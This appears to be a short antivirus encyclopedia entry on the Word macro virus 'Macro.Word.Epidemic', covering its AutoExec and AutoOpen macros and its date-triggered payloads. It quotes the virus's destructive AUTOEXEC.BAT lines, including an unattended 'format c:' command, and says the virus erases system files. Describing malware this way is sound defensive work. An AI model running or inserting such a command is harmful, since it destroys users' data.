Macro.Word.Epidemic
This is a very dangerous encrypted macro-virus. It contains two macros: AutoExec and AutoOpen, and infects documents and the global macros area in both cases.
On October 10th, it erases the files: C:IO.SYS, C:MSDOS.SYS, and C:COMMAND.COM. Then it displays a MessageBox with the following text:
EPIDEMIC Macro Virus V1.1
On June 17th, it drops a copy of the multipartite "Natas" virus.
On April 27th, it appends the following commands to the C:AUTOEXEC.BAT file:
PATH=%PATH%;C:DOS;C:WINDOWSCOMMAND
echo y | format c:/u/V:EPIDEMIC >nul |
